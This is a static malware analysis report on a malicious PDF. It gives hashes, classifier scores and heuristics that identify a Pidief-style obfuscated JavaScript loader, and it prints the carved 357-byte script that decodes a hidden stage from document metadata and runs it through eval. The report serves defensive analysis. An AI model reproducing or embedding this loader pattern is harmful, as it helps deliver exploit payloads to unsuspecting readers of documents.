Malicious PDF — malware analysis report

Static analysis result for SHA-256 2249b0f241baa3fe…

MALICIOUS

PDF

17.9 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 8f5b00a6a4ca105591cd767f0071c1eb SHA-1: 508d47a557af696cfc8be052b7e4d386a669ec45 SHA-256: 2249b0f241baa3fec7d975ecb1333916cf7b351a42e795a5a9b07a517638c293
154 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x4588 357 bytes
SHA-256: 1b053954c12c4fba3bc6277a687b5e68bad9994663ac7fe8b4ddceea759e3313
Preview script
First 1,000 lines of the extracted script
var w = 4;
var mlm = this.title.replace(/w/g,'*w,');
mlm = mlm.replace(/t/g,'2');
mlm=mlm.substr(0,mlm.length-2) + ']';
ksdh=function(){return function(){return this}()}();
iwtyd=ksdh[this.subject];
ylv=iwtyd(this.producer);
blehz = iwtyd(mlm);
var s = '';
for (i = 0; i < blehz.length; i++) {
	swej = blehz[i];
	s += ylv(swej);
}
iwtyd(s);

Open this report in the interactive analyzer, or submit your own file for analysis.